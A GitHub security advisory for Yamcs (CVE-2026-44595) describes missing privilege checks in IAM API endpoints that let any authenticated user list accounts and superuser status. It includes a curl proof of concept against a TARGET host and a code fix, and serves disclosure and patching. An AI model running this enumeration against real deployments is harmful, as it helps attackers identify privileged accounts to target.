GHSA-P2RJ-MRMC-9W29

Vulnerability from github – Published: 2026-05-27 00:03 – Updated: 2026-05-27 00:03
VLAI
Summary
Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints
Details

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
    for (User user : users) {
        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
        responseb.addUsers(userb);
    }
}

Compare with properly protected endpoints:

// createUser — correctly protected
public void createUser(Context ctx, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

  1. List all user accounts in the system
  2. Identify which accounts have superuser privileges
  3. Use this information to target privileged accounts

Proof of Concept

# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=lowpriv&password=lowpriv123"

# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
  -H "Authorization: Bearer $TOKEN" #paste access_token

Output (confirmed):

{
  "users": [
    { "name": "admin", "superuser": true, "active": true },
    { "name": "operator", "superuser": true, "active": true },
    { "name": "lowpriv", "superuser": false, "active": true }
  ]
}

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

public void listUsers(Context ctx, Empty request, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
    ...
}
Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:03:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.\n\nThis constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.\n\n### Root Cause\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`\n\n`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user \u2014 regardless of privileges \u2014 can enumerate all users, their superuser status, and group memberships:\n\n```java\n// listUsers \u2014 NO checkSystemPrivilege\npublic void listUsers(Context ctx, Empty request, ...) {\n    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);\n    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed\n    for (User user : users) {\n        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);\n        responseb.addUsers(userb);\n    }\n}\n```\n\nCompare with properly protected endpoints:\n\n```java\n// createUser \u2014 correctly protected\npublic void createUser(Context ctx, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present\n```\n\n### Impact\n\nAny authenticated user can:\n\n1. List all user accounts in the system\n2. Identify which accounts have superuser privileges\n3. Use this information to target privileged accounts\n\n### Proof of Concept\n\n```bash\n# Authenticate as any low-privilege user GET access_token\ncurl -s -X POST \"http://localhost:8090/auth/token\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=password\u0026username=lowpriv\u0026password=lowpriv123\"\n\n# Enumerate all users \u2014 no ControlAccess required\ncurl -s \"http://TARGET:8090/api/users\" \\\n  -H \"Authorization: Bearer $TOKEN\" #paste access_token\n```\n\n**Output (confirmed):**\n\n```json\n{\n  \"users\": [\n    { \"name\": \"admin\", \"superuser\": true, \"active\": true },\n    { \"name\": \"operator\", \"superuser\": true, \"active\": true },\n    { \"name\": \"lowpriv\", \"superuser\": false, \"active\": true }\n  ]\n}\n```\n\n### Fix\n\nAdd `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:\n\n```java\npublic void listUsers(Context ctx, Empty request, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS\n    ...\n}\n```",
  "id": "GHSA-p2rj-mrmc-9w29",
  "modified": "2026-05-27T00:03:56Z",
  "published": "2026-05-27T00:03:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.